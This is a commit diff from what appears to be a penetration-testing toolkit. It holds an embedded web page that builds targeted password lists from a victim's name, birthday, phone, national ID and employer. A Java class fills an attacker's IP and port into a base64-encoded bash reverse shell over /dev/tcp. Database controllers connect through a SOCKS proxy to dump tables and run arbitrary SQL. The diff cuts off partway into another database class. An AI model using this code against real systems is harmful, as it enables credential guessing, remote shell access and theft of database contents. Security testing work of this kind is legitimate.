" const pass_all_text = document.getElementById('pass_all_text');\n" +
|
||||
" const result = document.getElementById('result');\n" +
|
||||
" pass_first_text.value=pass_list[0].join('\\n');\n" +
|
||||
" pass_first_text.rows=pass_list[0].length;\n" +
|
||||
" pass_first_length.innerText=pass_list[0].length.toString();\n" +
|
||||
" pass_second_text.value=pass_list[1].join('\\n');\n" +
|
||||
" pass_second_text.rows=pass_list[1].length;\n" +
|
||||
" pass_second_length.innerText=pass_list[1].length.toString();\n" +
|
||||
" pass_third_text.value=pass_list[2].join('\\n');\n" +
|
||||
" pass_third_text.rows=pass_list[2].length;\n" +
|
||||
" pass_third_length.innerText=pass_list[2].length.toString();\n" +
|
||||
" let pass_all = pass_list.flat();\n" +
|
||||
" pass_all_text.value=pass_all.join('\\n');\n" +
|
||||
" pass_all_text.rows=pass_all.length;\n" +
|
||||
" pass_all_length.innerText=pass_all.length.toString();\n" +
|
||||
" result.style.display='flex';\n" +
|
||||
"\n" +
|
||||
" const end_time = new Date().getTime();\n" +
|
||||
" console.log(`cost ${end_time - start_time}ms`)\n" +
|
||||
"\n" +
|
||||
" hide_loading();\n" +
|
||||
" }, 0);\n" +
|
||||
" }\n" +
|
||||
"\n" +
|
||||
" function download() {\n" +
|
||||
" const list = generate().flat();\n" +
|
||||
" console.log(list.length);\n" +
|
||||
"\n" +
|
||||
" const ele = document.createElement('a');\n" +
|
||||
" ele.download = \"passwords.txt\";\n" +
|
||||
" ele.style.display = \"none\";\n" +
|
||||
"\n" +
|
||||
" const blob = new Blob([list.join(\"\\n\")]);\n" +
|
||||
" ele.href = URL.createObjectURL(blob);\n" +
|
||||
" document.body.appendChild(ele);\n" +
|
||||
" ele.click();\n" +
|
||||
" document.body.removeChild(ele);\n" +
|
||||
" }\n" +
|
||||
"\n" +
|
||||
" function generate() {\n" +
|
||||
" const first_name = document.getElementById('first_name')['value'];\n" +
|
||||
" const second_name = document.getElementById('second_name')['value'];\n" +
|
||||
" const third_name = document.getElementById('third_name')['value'];\n" +
|
||||
" const birthday = document.getElementById('birthday')['value'];\n" +
|
||||
" const birthday2 = document.getElementById('birthday2')['value'];\n" +
|
||||
" const email = document.getElementById('email')['value'];\n" +
|
||||
" const mobile = document.getElementById('mobile')['value'];\n" +
|
||||
" const telephone = document.getElementById('telephone')['value'];\n" +
|
||||
" const username = document.getElementById('username')['value'];\n" +
|
||||
" const account = document.getElementById('account')['value'];\n" +
|
||||
" const organization = document.getElementById('organization')['value'];\n" +
|
||||
" const company = document.getElementById('company')['value'];\n" +
|
||||
" const like_use = document.getElementById('like_use')['value'];\n" +
|
||||
" const id_card = document.getElementById('id_card')['value'];\n" +
|
||||
" const work_no = document.getElementById('work_no')['value'];\n" +
|
||||
" const connector = document.getElementById('connector')['value'].split('');\n" +
|
||||
" const connector_left = document.getElementById('connector_left')['checked'];\n" +
|
||||
" const connector_middle = document.getElementById('connector_middle')['checked'];\n" +
|
||||
" const connector_right = document.getElementById('connector_right')['checked'];\n" +
|
||||
" const common = document.getElementById('common')['value'];\n" +
|
||||
" const have_year = document.getElementById('have_year')['checked'];\n" +
|
||||
" const year = parseInt(document.getElementById('year')['value']);\n" +
|
||||
" const number_filter = document.getElementById('number_filter')['checked'];\n" +
|
||||
" const string_filter = document.getElementById('string_filter')['checked'];\n" +
|
||||
" const long = parseInt(document.getElementById('long')['value']);\n" +
|
||||
" const short = parseInt(document.getElementById('short')['value']);\n" +
|
||||
" const capitalize = document.getElementById('capitalize')['checked'];\n" +
|
||||
" const lowercase = document.getElementById('lowercase')['checked'];\n" +
|
||||
" const uppercase = document.getElementById('uppercase')['checked'];\n" +
|
||||
"\n" +
|
||||
" const first_name_combine = /^[a-zA-Z0-9]+$/.test(first_name) ? get_repeat([first_name], 3) : [''];\n" +
|
||||
" const last_name_combine = /^[a-zA-Z0-9]+$/.test(second_name + third_name) ? get_repeat([second_name + third_name], 3) : [''];\n" +
|
||||
" let name_all = [first_name_combine[0] + last_name_combine[0], last_name_combine[0] + first_name_combine[0]];\n" +
|
||||
" const last_name_a_b = second_name.substring(0, 1) + third_name.substring(0, 1);\n" +
|
||||
" name_all = name_all.concat([first_name.substring(0, 1) + last_name_a_b, first_name_combine[0] + last_name_a_b, last_name_a_b + first_name.substring(0, 1), last_name_a_b + first_name_combine[0], first_name.substring(0, 1) + second_name + third_name, second_name + third_name, first_name]);\n" +
|
||||
" name_all = name_all.concat(get_repeat(get_head_tail(username, 3, 4))).concat(get_repeat(get_head_tail(account, 3, 4)))\n" +
|
||||
" name_all = get_distinct_list(name_all);\n" +
|
||||
" console.log('name_all', name_all);\n" +
|
||||
"\n" +
|
||||
" let birthday_all = [];\n" +
|
||||
" let b = birthday.replaceAll('-', '');\n" +
|
||||
" let b2 = birthday2.replaceAll('-', '');\n" +
|
||||
" birthday_all = birthday_all.concat(get_head_tail(b, 4)).concat(get_head_tail(b2, 4));\n" +
|
||||
" birthday_all = birthday_all.concat(b.substring(4, 5) === '0' ? [b.substring(5, 8), b.substring(5, 8) + b.substring(5, 8)] : []);\n" +
|
||||
" birthday_all = birthday_all.concat(b2.substring(4, 5) === '0' ? [b2.substring(5, 8), b2.substring(5, 8) + b2.substring(5, 8)] : []);\n" +
|
||||
" birthday_all = get_distinct_list(birthday_all);\n" +
|
||||
" console.log('birthday_all', birthday_all);\n" +
|
||||
"\n" +
|
||||
" const email_all = get_distinct_list([email].concat(get_repeat(get_head_tail(email.split('@')[0], 3, 4), 3)));\n" +
|
||||
" console.log('email_all', email_all);\n" +
|
||||
"\n" +
|
||||
" let phone_all = get_distinct_list(get_repeat(get_head_tail(mobile, 3, 4, 5, 6)).concat(get_repeat(get_head_tail(telephone, 3, 4, 5, 6))));\n" +
|
||||
" console.log('phone_all', phone_all);\n" +
|
||||
"\n" +
|
||||
" let id_card_all = id_card.length > 0 ? get_distinct_list(get_repeat(get_head_tail(id_card, 3, 4, 6, 8).concat(get_head_tail(id_card.substring(0, id_card.length - 1), 3, 4, 6, 8).slice(1)))) : [];\n" +
|
||||
" console.log('id_card_all', id_card_all);\n" +
|
||||
"\n" +
|
||||
" let work_no_all = get_distinct_list(get_repeat(get_head_tail(work_no, 3, 4, 6, 8)));\n" +
|
||||
" console.log('work_no_all', work_no_all);\n" +
|
||||
"\n" +
|
||||
" let org_all = get_distinct_list([organization, company].map(i => get_repeat(get_head_tail(i, 3, 4))).reduce((a, b) => a.concat(b)));\n" +
|
||||
" console.log('org_all', org_all);\n" +
|
||||
"\n" +
|
||||
" let like_all = get_distinct_list(like_use.split(',').map(i => get_repeat(get_head_tail(i, 3, 4))).reduce((a, b) => a.concat(b)));\n" +
|
||||
" console.log('like_all', like_all);\n" +
|
||||
"\n" +
|
||||
" let common_all = common.split(',');\n" +
|
||||
" if (have_year) {\n" +
|
||||
" Array.from(Array(year), (el, i) => common_all.push((new Date().getFullYear() - year + i).toString()));\n" +
|
||||
" }\n" +
|
||||
" console.log('common_all', common_all);\n" +
|
||||
"\n" +
|
||||
" let pass_list_all = [name_all, birthday_all, email_all, phone_all, id_card_all, work_no_all, org_all, like_all, common_all];\n" +
|
||||
" let pass_first = pass_list_all.reduce((a, b) => a.concat(b));\n" +
|
||||
" console.log('pass_first', pass_first);\n" +
|
||||
"\n" +
|
||||
" let pass_second = [];\n" +
|
||||
" let pass_third = [];\n" +
|
||||
"\n" +
|
||||
" permutations(pass_list_all, 2).forEach(passArr => {\n" +
|
||||
" let pass_combine = calc_descartes(passArr);\n" +
|
||||
" pass_second = pass_second.concat(pass_combine.map(p=>p[0]+p[1]));\n" +
|
||||
" pass_combine.forEach(p=>{\n" +
|
||||
" connector.forEach(c=>{\n" +
|
||||
" if (connector_left) {\n" +
|
||||
" pass_third.push(c+p[0]+p[1]);\n" +
|
||||
" }\n" +
|
||||
" if (connector_middle) {\n" +
|
||||
" pass_third.push(p[0]+c+p[1]);\n" +
|
||||
" }\n" +
|
||||
" if (connector_right) {\n" +
|
||||
" pass_third.push(p[0]+p[1]+c);\n" +
|
||||
" }\n" +
|
||||
" });\n" +
|
||||
" });\n" +
|
||||
" });\n" +
|
||||
"\n" +
|
||||
" let pass_list = [pass_first, pass_second, pass_third];\n" +
|
||||
" pass_list = pass_list.map(i => drop_short_long(i, short, long));\n" +
|
||||
" if (number_filter) {\n" +
|
||||
" pass_list = pass_list.map(i => drop_string_int(i, 'int'));\n" +
|
||||
" }\n" +
|
||||
" if (string_filter) {\n" +
|
||||
" pass_list = pass_list.map(i => drop_string_int(i, 'str'));\n" +
|
||||
" }\n" +
|
||||
" if (capitalize) {\n" +
|
||||
" pass_list = pass_list.map(i => get_capitalize(i));\n" +
|
||||
" }\n" +
|
||||
" if (lowercase) {\n" +
|
||||
" pass_list = pass_list.map(i => get_lower(i));\n" +
|
||||
" }\n" +
|
||||
" if (uppercase) {\n" +
|
||||
" pass_list = pass_list.map(i => get_upper(i));\n" +
|
||||
" }\n" +
|
||||
" pass_list = pass_list.map(i => get_distinct_list(i));\n" +
|
||||
" return pass_list;\n" +
|
||||
" }\n" +
|
||||
"\n" +
|
||||
" function copy(cid) {\n" +
|
||||
" const textNode = document.getElementById(cid);\n" +
|
||||
" textNode.select();\n" +
|
||||
" document.execCommand(\"Copy\");\n" +
|
||||
" textNode.blur();\n" +
|
||||
" const notification = document.getElementById('notification');\n" +
|
||||
" notification.style.right = '20px';\n" +
|
||||
" notification.style.visibility = 'visible';\n" +
|
||||
" notification.style.opacity = '1';\n" +
|
||||
" setTimeout(()=>{\n" +
|
||||
" notification.style.right = '-20px';\n" +
|
||||
" notification.style.visibility = 'hidden';\n" +
|
||||
" notification.style.opacity = '0';\n" +
|
||||
" }, 3000)\n" +
|
||||
" }\n" +
|
||||
" </script>\n" +
|
||||
"</head>\n" +
|
||||
"<body>\n" +
|
||||
"<div>\n" +
|
||||
" <label for=\"first_name\">姓名</label><input type=\"text\" name=\"first_name\" id=\"first_name\" placeholder=\"请输入姓(英文)\" title=\"请输入姓(英文)\" />\n" +
|
||||
" <label for=\"second_name\"></label><input type=\"text\" name=\"second_name\" id=\"second_name\" placeholder=\"请输入名的第一个字(英文)\" title=\"请输入名的第一个字(英文)\" />\n" +
|
||||
" <label for=\"third_name\"></label><input type=\"text\" name=\"third_name\" id=\"third_name\" placeholder=\"请输入名的第二个字(如果有,英文)\" title=\"请输入名的第二个字(如果有,英文)\" />\n" +
|
||||
"</div>\n" +
|
||||
"<div>\n" +
|
||||
" <label for=\"birthday\">生日</label><input type=\"date\" name=\"birthday\" id=\"birthday\" placeholder=\"公历生日\" title=\"公历生日\" />\n" +
|
||||
" <label for=\"birthday2\"></label><input type=\"date\" name=\"birthday2\" id=\"birthday2\" placeholder=\"农历生日\" title=\"农历生日\" />\n" +
|
||||
"</div>\n" +
|
||||
"<div>\n" +
|
||||
" <label for=\"email\">邮件</label><input type=\"email\" name=\"email\" id=\"email\" placeholder=\"请输入邮箱\" title=\"请输入邮箱\" />\n" +
|
||||
"</div>\n" +
|
||||
"<div>\n" +
|
||||
" <label for=\"mobile\">电话</label><input type=\"tel\" name=\"mobile\" id=\"mobile\" placeholder=\"请输入座机号,不要-号\" title=\"请输入座机号,不要-号\" />\n" +
|
||||
" <label for=\"telephone\"></label><input type=\"tel\" name=\"telephone\" id=\"telephone\" placeholder=\"请输入手机号\" title=\"请输入手机号\" />\n" +
|
||||
"</div>\n" +
|
||||
"<div>\n" +
|
||||
" <label for=\"username\">用户名</label><input type=\"text\" name=\"username\" id=\"username\" placeholder=\"请输入用户名(英文)\" title=\"请输入用户名(英文)\" />\n" +
|
||||
" <label for=\"account\"></label><input type=\"text\" name=\"account\" id=\"account\" placeholder=\"请输入用户账号\" title=\"请输入用户账号\" />\n" +
|
||||
"</div>\n" +
|
||||
"<div>\n" +
|
||||
" <label for=\"organization\">组织</label><input type=\"text\" name=\"organization\" id=\"organization\" placeholder=\"请输入组织名(英文)\" title=\"请输入组织名(英文)\" />\n" +
|
||||
" <label for=\"company\"></label><input type=\"text\" name=\"company\" id=\"company\" placeholder=\"请输入公司名(英文)\" title=\"请输入公司名(英文)\" />\n" +
|
||||
"</div>\n" +
|
||||
"<div>\n" +
|
||||
" <label for=\"like_use\">短语</label><input type=\"text\" name=\"like_use\" id=\"like_use\" style=\"width: 320px;\" placeholder=\"请输入常用短语(英文),如iloveyou,多个用逗号分隔\" title=\"请输入常用短语(英文),如iloveyou,多个用逗号分隔\" />\n" +
|
||||
"</div>\n" +
|
||||
"<div>\n" +
|
||||
" <label for=\"id_card\">身份证号</label><input type=\"text\" name=\"id_card\" id=\"id_card\" placeholder=\"请输入身份证号\" title=\"请输入身份证号\" />\n" +
|
||||
"</div>\n" +
|
||||
"<div>\n" +
|
||||
" <label for=\"work_no\">工号</label><input type=\"text\" name=\"work_no\" id=\"work_no\" placeholder=\"请输入工号\" title=\"请输入工号\" />\n" +
|
||||
"</div>\n" +
|
||||
"<div>\n" +
|
||||
" <label for=\"connector\">连接符</label>\n" +
|
||||
" <label for=\"connector_left\" style=\"width: 30px;padding-right: 5px;\">左</label><input type=\"checkbox\" name=\"connector_left\" id=\"connector_left\" value=\"左\"/><label class=\"switch\" for=\"connector_left\"><span class=\"ball\"></span></label>\n" +
|
||||
" <label for=\"connector_middle\" style=\"width: 30px;padding-right: 5px;\">中</label><input type=\"checkbox\" name=\"connector_middle\" id=\"connector_middle\" value=\"中\"/><label class=\"switch\" for=\"connector_middle\"><span class=\"ball\"></span></label>\n" +
|
||||
" <label for=\"connector_right\" style=\"width: 30px;padding-right: 5px;\">右</label><input type=\"checkbox\" name=\"connector_right\" id=\"connector_right\" value=\"右\"/><label class=\"switch\" for=\"connector_right\"><span class=\"ball\"></span></label>\n" +
|
||||
" <input type=\"text\" name=\"connector\" id=\"connector\" style=\"width: 500px;\" placeholder=\"请输入连接符(如.!_-#@:$&*~?%+=/|),尽量减少,否则会极大增加密码数量\" title=\"请输入连接符(如.!_-#@:$&*~?%+=/|),尽量减少,否则会极大增加密码数量\" />\n" +
|
||||
" <span title=\"连接符用于连接两条信息. 如姓zhang且生日为0229,用@在中间连接则为zhang@0229\" style=\"cursor: help\"><svg class=\"alert-icon\" viewBox=\"0 0 48 48\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" stroke=\"currentColor\" stroke-width=\"4\" stroke-linecap=\"butt\" stroke-linejoin=\"miter\"><path fill-rule=\"evenodd\" clip-rule=\"evenodd\" d=\"M24 44c11.046 0 20-8.954 20-20S35.046 4 24 4 4 12.954 4 24s8.954 20 20 20Zm-3.862-24.021a.461.461 0 0 0 .462-.462 2.37 2.37 0 0 1 .636-1.615C21.64 17.48 22.43 17 23.988 17c1.465 0 2.483.7 3.002 1.493.555.848.446 1.559.182 1.914-.328.444-.736.853-1.228 1.296-.15.135-.335.296-.533.468-.354.308-.75.654-1.067.955C23.22 24.195 22 25.686 22 28v.013a1 1 0 0 0 1.006.993l2.008-.012a.993.993 0 0 0 .986-1c.002-.683.282-1.19 1.101-1.97.276-.262.523-.477.806-.722.21-.18.439-.379.713-.626.57-.513 1.205-1.13 1.767-1.888 1.516-2.047 1.161-4.634-.05-6.485C29.092 14.398 26.825 13 23.988 13c-2.454 0-4.357.794-5.642 2.137-1.25 1.307-1.742 2.954-1.746 4.37 0 .26.21.472.47.472h3.068Zm1.868 14.029a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1V32a1 1 0 0 0-1-1h-2a1 1 0 0 0-1 1v2.008Z\" fill=\"currentColor\" stroke=\"none\"></path></svg></span>\n" +
|
||||
"</div>\n" +
|
||||
"<div>\n" +
|
||||
" <label for=\"common\">常用词组</label><input type=\"text\" name=\"common\" id=\"common\" style=\"width: 800px;\" value=\"123,888,666,000,111,aaa,abc,qaz,qwe,asd,zxc,!@#,1234,1qaz,qwer,asdf,zxcv,!@#$,1357,2468,0123,6789,6666,8888,12345,123456\" placeholder=\"请输入常用词组,如123456,abcd等,多个用逗号分隔\" title=\"请输入常用词组,如123456,abcd等,多个用逗号分隔\" />\n" +
|
||||
"</div>\n" +
|
||||
"<div>\n" +
|
||||
" <label for=\"have_year\">最近年份</label><input type=\"checkbox\" name=\"have_year\" id=\"have_year\"/><label class=\"switch\" for=\"have_year\"><span class=\"ball\"></span></label>\n" +
|
||||
" <label for=\"year\" style=\"display: none\"></label><input type=\"number\" name=\"year\" id=\"year\" style=\"width: 100px;\" placeholder=\"最近几年的年份,如果要特定年份可以输入到常用词组中\" title=\"最近几年的年份,如果要特定年份可以输入到常用词组中\" value=\"10\"/>\n" +
|
||||
"</div>\n" +
|
||||
"<div>\n" +
|
||||
" <label for=\"number_filter\">去掉纯数字</label><input type=\"checkbox\" name=\"number_filter\" id=\"number_filter\"/><label class=\"switch\" for=\"number_filter\"><span class=\"ball\"></span></label>\n" +
|
||||
"</div>\n" +
|
||||
"<div>\n" +
|
||||
" <label for=\"string_filter\">去掉纯字母</label><input type=\"checkbox\" name=\"string_filter\" id=\"string_filter\"/><label class=\"switch\" for=\"string_filter\"><span class=\"ball\"></span></label>\n" +
|
||||
"</div>\n" +
|
||||
"<div>\n" +
|
||||
" <label>长度</label>\n" +
|
||||
" <label for=\"short\" style=\"width: 80px;padding-right: 5px;\">不能小于</label><input type=\"number\" name=\"short\" id=\"short\" style=\"width: 100px;\" placeholder=\"请输入最小长度, 0为忽略\" title=\"请输入最小长度, 0为忽略\" value=\"6\" />\n" +
|
||||
" <label for=\"long\" style=\"width: 60px;padding-right: 5px;\">不能大于</label><input type=\"number\" name=\"long\" id=\"long\" style=\"width: 100px;\" placeholder=\"请输入最大长度, 0为忽略\" title=\"请输入最大长度, 0为忽略\" value=\"16\" />\n" +
|
||||
"</div>\n" +
|
||||
"<div>\n" +
|
||||
" <label>大小写</label>\n" +
|
||||
" <label for=\"capitalize\" style=\"width: 80px;padding-right: 5px;\">首字母大写</label><input type=\"checkbox\" checked=\"checked\" name=\"capitalize\" id=\"capitalize\" value=\"首字母大写\"/><label class=\"switch\" for=\"capitalize\"><span class=\"ball\"></span></label>\n" +
|
||||
" <label for=\"lowercase\" style=\"width: 50px;padding-right: 5px;\">全小写</label><input type=\"checkbox\" name=\"lowercase\" id=\"lowercase\" value=\"全小写\"/><label class=\"switch\" for=\"lowercase\"><span class=\"ball\"></span></label>\n" +
|
||||
" <label for=\"uppercase\" style=\"width: 50px;padding-right: 5px;\">全大写</label><input type=\"checkbox\" name=\"uppercase\" id=\"uppercase\" value=\"全大写\"/><label class=\"switch\" for=\"uppercase\"><span class=\"ball\"></span></label>\n" +
|
||||
"</div>\n" +
|
||||
"<div style=\"margin: 20px 0 0 50px;\">\n" +
|
||||
" <label for=\"generate\"></label><input type=\"button\" name=\"generate\" id=\"generate\" value=\"生成密码\" onclick=\"main()\" />\n" +
|
||||
" <label for=\"reset\"></label><input type=\"button\" name=\"reset\" id=\"reset\" value=\"重置\" onclick=\"reset()\"/>\n" +
|
||||
" <label for=\"download\"></label><input type=\"button\" name=\"download\" id=\"download\" value=\"下载\" onclick=\"download()\"/>\n" +
|
||||
"</div>\n" +
|
||||
"<div style=\"margin-top: 50px;display: none;\" id=\"result\">\n" +
|
||||
" <div style=\"width: 350px;text-align: center;\">\n" +
|
||||
" <div style=\"margin-bottom: 10px;\">\n" +
|
||||
" <span>单项信息密码-<span id=\"pass_first_length\"></span>个</span>\n" +
|
||||
" <input type=\"button\" name=\"pass_first_copy\" id=\"pass_first_copy\" value=\"复制\" style=\"width: 50px;height: 20px;\" onclick=\"copy('pass_first_text')\" />\n" +
|
||||
" </div>\n" +
|
||||
" <label for=\"pass_first_text\" style=\"display: none\"></label><textarea id=\"pass_first_text\" cols=\"25\"></textarea>\n" +
|
||||
" </div>\n" +
|
||||
" <div style=\"width: 350px;text-align: center;\">\n" +
|
||||
" <div style=\"margin-bottom: 10px;\">\n" +
|
||||
" <span>两项信息密码-<span id=\"pass_second_length\"></span>个</span>\n" +
|
||||
" <input type=\"button\" name=\"pass_second_copy\" id=\"pass_second_copy\" value=\"复制\" style=\"width: 50px;height: 20px;\" onclick=\"copy('pass_second_text')\" />\n" +
|
||||
" </div>\n" +
|
||||
" <label for=\"pass_second_text\" style=\"display: none\"></label><textarea id=\"pass_second_text\" cols=\"25\"></textarea>\n" +
|
||||
" </div>\n" +
|
||||
" <div style=\"width: 350px;text-align: center;\">\n" +
|
||||
" <div style=\"margin-bottom: 10px;\">\n" +
|
||||
" <span>两项信息加连接符密码-<span id=\"pass_third_length\"></span>个</span>\n" +
|
||||
" <input type=\"button\" name=\"pass_third_copy\" id=\"pass_third_copy\" value=\"复制\" style=\"width: 50px;height: 20px;\" onclick=\"copy('pass_third_text')\" />\n" +
|
||||
" </div>\n" +
|
||||
" <label for=\"pass_third_text\" style=\"display: none\"></label><textarea id=\"pass_third_text\" cols=\"25\"></textarea>\n" +
|
||||
" </div>\n" +
|
||||
" <div style=\"width: 350px;text-align: center;\">\n" +
|
||||
" <div style=\"margin-bottom: 10px;\">\n" +
|
||||
" <span>全部密码-<span id=\"pass_all_length\"></span>个</span>\n" +
|
||||
" <input type=\"button\" name=\"pass_all_copy\" id=\"pass_all_copy\" value=\"复制\" style=\"width: 50px;height: 20px;\" onclick=\"copy('pass_all_text')\" />\n" +
|
||||
" </div>\n" +
|
||||
" <label for=\"pass_all_text\" style=\"display: none\"></label><textarea id=\"pass_all_text\" cols=\"25\"></textarea>\n" +
|
||||
" </div>\n" +
|
||||
"</div>\n" +
|
||||
"<div id=\"loading\" style=\"display: none;\">\n" +
|
||||
" <div class=\"loading\">\n" +
|
||||
" <div class=\"loading-bg\"></div>\n" +
|
||||
" </div>\n" +
|
||||
"</div>\n" +
|
||||
"<div id=\"notification\" style=\"position: fixed;right: -20px;top: 20px;visibility: hidden;opacity: 0;width: 160px; height: 60px; background-color: white; text-align: center;line-height: 60px;border: 1px solid rgb(229,230,235);border-radius: 4px;box-shadow: 0 4px 10px #0000001a;transition: right 0.4s ease-out, opacity 0.2s ease-in, visibility 0.2s ease-in;\"><svg class=\"alert-icon\" viewBox=\"0 0 48 48\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" stroke=\"currentColor\" stroke-width=\"4\" stroke-linecap=\"butt\" stroke-linejoin=\"miter\"><path fill-rule=\"evenodd\" clip-rule=\"evenodd\" d=\"M24 44c11.046 0 20-8.954 20-20S35.046 4 24 4 4 12.954 4 24s8.954 20 20 20Zm2-30a1 1 0 0 0-1-1h-2a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-2Zm0 17h1a1 1 0 0 1 1 1v2a1 1 0 0 1-1 1h-6a1 1 0 0 1-1-1v-2a1 1 0 0 1 1-1h1v-8a1 1 0 0 1-1-1v-2a1 1 0 0 1 1-1h3a1 1 0 0 1 1 1v11Z\" fill=\"currentColor\" stroke=\"none\"></path></svg>已复制</div>\n" +
|
||||
"</body>\n" +
|
||||
"</html>";
|
||||
|
||||
public String getHtmlContent(){
|
||||
return this.HTML_CONTENT;
|
||||
}
|
||||
|
||||
}
|
||||
@ -0,0 +1,22 @@
|
||||
package com.sec421.controller.baseTools;
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Base64;
|
||||
import java.util.HashMap;
|
||||
|
||||
public class ReverseShellController {
|
||||
public String ReverseShell(HashMap hashMap, String str){
|
||||
str = str.replace("127.0.0.1",hashMap.get("ip").toString());
|
||||
str = str.replace("8080",hashMap.get("port").toString());
|
||||
if (str.equals("bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}'")){
|
||||
String temp = "bash -i >& /dev/tcp/"+hashMap.get("ip").toString()+"/"+hashMap.get("port").toString()+" 0>&1";
|
||||
String encodedString = Base64.getEncoder().encodeToString(temp.getBytes(StandardCharsets.UTF_8));
|
||||
return "bash -c '{echo,"+encodedString+"}|{base64,-d}|{bash,-i}'";
|
||||
}
|
||||
return str;
|
||||
}
|
||||
}
|
||||
155
src/main/java/com/sec421/controller/dbTools/MySQLController.java
Normal file
@ -0,0 +1,155 @@
|
||||
package com.sec421.controller.dbTools;
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
import com.sec421.tools.Tools;
|
||||
|
||||
import java.sql.*;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
public class MySQLController {
|
||||
|
||||
|
||||
public static boolean connect(String ip, String port, String username, String password) {
|
||||
// JDBC连接URL
|
||||
String url = "jdbc:mysql://" + ip + ":" + port;
|
||||
|
||||
// 设置 SOCKS 代理
|
||||
Tools.setProxy();
|
||||
// 连接MySQL数据库
|
||||
try (Connection connection = DriverManager.getConnection(url, username, password)) {
|
||||
// 如果连接成功,返回true
|
||||
return true;
|
||||
} catch (SQLException e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public static String[] getDBNAME(String ip, String port, String username, String password) {
|
||||
// JDBC连接URL
|
||||
String url = "jdbc:mysql://" + ip + ":" + port;
|
||||
|
||||
// 设置 SOCKS 代理
|
||||
Tools.setProxy();
|
||||
try (Connection connection = DriverManager.getConnection(url, username, password)) {
|
||||
DatabaseMetaData metaData = connection.getMetaData();
|
||||
ResultSet resultSet = metaData.getCatalogs();
|
||||
List<String> databases = new ArrayList<>();
|
||||
while (resultSet.next()) {
|
||||
String dbName = resultSet.getString("TABLE_CAT");
|
||||
databases.add(dbName);
|
||||
}
|
||||
return databases.toArray(new String[0]);
|
||||
} catch (SQLException e) {
|
||||
return new String[0];
|
||||
}
|
||||
}
|
||||
|
||||
public static String[] getTbaleName(String ip, String port, String username, String password,String db_name) {
|
||||
// JDBC连接URL
|
||||
String url = "jdbc:mysql://" + ip + ":" + port;
|
||||
|
||||
// 设置 SOCKS 代理
|
||||
Tools.setProxy();
|
||||
try (Connection connection = DriverManager.getConnection(url, username, password)) {
|
||||
DatabaseMetaData metaData = connection.getMetaData();
|
||||
ResultSet rs = metaData.getTables(db_name, null, null, new String[]{"TABLE"});
|
||||
|
||||
List<String> tableNames = new ArrayList<>();
|
||||
while (rs.next()) {
|
||||
String tableName = rs.getString("TABLE_NAME");
|
||||
tableNames.add(tableName);
|
||||
}
|
||||
connection.close();
|
||||
return tableNames.toArray(new String[0]);
|
||||
} catch (SQLException e) {
|
||||
return new String[0];
|
||||
}
|
||||
}
|
||||
public static String getTableData(String ip, String port, String username, String password, String databaseName, String tableName) {
|
||||
String url = "jdbc:mysql://" + ip + ":" + port;
|
||||
// 设置 SOCKS 代理
|
||||
Tools.setProxy();
|
||||
try {
|
||||
Connection conn = DriverManager.getConnection(url, username, password);
|
||||
Statement stmt = conn.createStatement();
|
||||
ResultSet rs = stmt.executeQuery("SELECT * FROM " + databaseName + "." + tableName);
|
||||
|
||||
ResultSetMetaData metaData = rs.getMetaData();
|
||||
int columnCount = metaData.getColumnCount();
|
||||
|
||||
StringBuilder tableData = new StringBuilder();
|
||||
int rowCount = 0;
|
||||
while (rs.next() && rowCount < 5000) {
|
||||
for (int i=1; i<=columnCount; i++) {
|
||||
String columnName = metaData.getColumnName(i);
|
||||
String columnValue = rs.getString(i);
|
||||
|
||||
tableData.append(columnName).append(": ").append(columnValue).append("\n");
|
||||
}
|
||||
tableData.append("\n");
|
||||
rowCount++;
|
||||
}
|
||||
|
||||
conn.close();
|
||||
if (rowCount < 5000) {
|
||||
return tableData.toString();
|
||||
} else {
|
||||
return "数据量过大,只返回前5000条记录。" + tableData.toString();
|
||||
}
|
||||
|
||||
} catch (SQLException e) {
|
||||
e.printStackTrace();
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
public static String executeSQL(String ip, String port, String username, String password, String databaseName, String sql) {
|
||||
String url = "jdbc:mysql://" + ip + ":" + port + "/" + databaseName;
|
||||
// 设置 SOCKS 代理
|
||||
Tools.setProxy();
|
||||
try {
|
||||
Connection conn = DriverManager.getConnection(url, username, password);
|
||||
Statement stmt = conn.createStatement();
|
||||
|
||||
boolean isResultSet = stmt.execute(sql);
|
||||
|
||||
if (isResultSet) {
|
||||
ResultSet rs = stmt.getResultSet();
|
||||
ResultSetMetaData metaData = rs.getMetaData();
|
||||
int columnCount = metaData.getColumnCount();
|
||||
|
||||
StringBuilder tableData = new StringBuilder();
|
||||
int rowCount = 0;
|
||||
while (rs.next() && rowCount < 5000) {
|
||||
for (int i = 1; i <= columnCount; i++) {
|
||||
String columnName = metaData.getColumnName(i);
|
||||
String columnValue = rs.getString(i);
|
||||
|
||||
tableData.append(columnName).append(": ").append(columnValue).append("\n");
|
||||
}
|
||||
tableData.append("\n");
|
||||
rowCount++;
|
||||
}
|
||||
|
||||
conn.close();
|
||||
if (rowCount < 5000) {
|
||||
return tableData.toString();
|
||||
} else {
|
||||
return "数据量过大,只返回前5000条记录。" + tableData.toString();
|
||||
}
|
||||
} else {
|
||||
int updateCount = stmt.getUpdateCount();
|
||||
conn.close();
|
||||
|
||||
return "操作成功,受影响的记录数: " + updateCount;
|
||||
}
|
||||
} catch (SQLException e) {
|
||||
e.printStackTrace();
|
||||
return "操作失败:" + e.getMessage();
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,156 @@
|
||||
package com.sec421.controller.dbTools;
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
import com.sec421.tools.Tools;
|
||||
|
||||
import java.sql.*;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
